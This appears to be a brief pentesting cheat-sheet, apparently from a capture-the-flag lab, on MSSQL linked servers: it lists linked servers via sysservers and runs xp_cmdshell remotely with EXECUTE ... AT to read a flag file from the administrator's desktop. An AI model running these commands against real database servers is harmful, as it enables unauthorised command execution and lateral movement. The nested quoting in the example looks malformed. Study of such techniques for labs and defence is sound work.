linked-server

Identify & list linked servers

SELECT srvname, isremote FROM sysservers
GO

Execute commands via other databases

EXECUTE('<command>') AT [<other_database_name>]
EXECUTE('xp_cmdshell 'type C:\Users\administrator\Desktop\flag.txt'') AT [LOCAL.TEST.LINKED.SRV]
GO